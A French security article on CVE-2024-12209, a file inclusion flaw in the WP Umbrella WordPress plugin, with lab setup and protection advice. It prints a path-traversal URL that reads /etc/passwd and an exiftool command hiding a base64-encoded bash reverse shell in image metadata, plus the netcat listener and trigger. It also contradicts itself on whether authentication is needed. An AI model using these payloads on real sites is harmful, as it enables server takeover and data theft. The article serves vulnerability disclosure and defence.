# Vulnérabilité LFI critique dans WP Umbrella permettant une RCE sur les sites WordPress
Une vulnérabilité LFI critique notée CVSS 9.8 (CVE-2024-12209) a été découverte dans le plugin WP Umbrella, utilisé sur plus de 30 000 sites WordPress. Elle affecte le point de terminaison umbrella-restore via le paramètre filename, permettant aux utilisateurs non authentifiés d'obtenir une exécution de code à distance (RCE).
Le plugin est conçu pour la surveillance et la gestion centralisées de plusieurs sites WordPress, ce qui le rend populaire auprès des agences et des freelances. La vulnérabilité est exploitée par inclusion dynamique de fichiers sans validation de chemin.
Configuration de l'environnement de test
Pour reproduire, vous aurez besoin d'une pile LAMP/XAMPP locale avec PHP et MySQL. Installez WordPress :
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs
Ensuite, lancez l'installateur à l'adresse http://127.0.0.1/wordpress. Installez la version vulnérable du plugin WP Umbrella.
Mécanisme LFI dans umbrella-restore
La vulnérabilité provient de l'absence de sanitisation du paramètre filename dans les fonctions include/require de PHP. Un attaquant peut spécifier un chemin vers un fichier arbitraire sur le serveur.
Vecteur 1 : Lecture directe des fichiers système (rôle Contributor)
Pour les rôles sans permissions de téléversement de médias, une traversée de chemin est utilisée :
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd
Cela permet d'extraire le contenu de /etc/passwd sans privilèges supplémentaires.
Vecteur 2 : RCE via injection de métadonnées EXIF (rôle Author)
- Créez un fichier JPG avec une charge utile PHP dans le commentaire EXIF :
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
- Téléversez le fichier via l'administration : Médias → Ajouter.
- Copiez l'URL du fichier téléversé, par ex.,
/wp-content/uploads/2024/12/maxresdefault.jpg.
- Lancez un écouteur Netcat :
nc -lvnp 4444
- Exploitez la LFI :
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg
La charge utile s'exécute, établissant un shell inverse sur le port 4444.
Recommandations de protection
- Mettez à jour le plugin WP Umbrella vers la version corrigée.
- Implémentez un WAF avec des règles contre la traversée de chemin (ModSecurity OWASP CRS).
- Désactivez l'accès à
umbrella-restorepour les utilisateurs non authentifiés. - Utilisez
open_basedirdans php.ini pour restreindre l'accès au système de fichiers. - Scannez régulièrement pour LFI en utilisant Burp Suite ou Nuclei.
Points clés
- La vulnérabilité CVSS 9.8 permet une RCE non authentifiée sur plus de 30 000 sites.
- Deux vecteurs : LFI direct et injection via EXIF dans les fichiers médias téléversés.
- L'exploitation ne nécessite qu'un accès frontal, rôle Contributor ou supérieur.
- Le correctif est obligatoire ; sans lui, prise de contrôle du serveur et fuite de données sont possibles.
- Testez dans un environnement isolé, évitez la production.
— Editorial Team
Aucun commentaire pour le moment.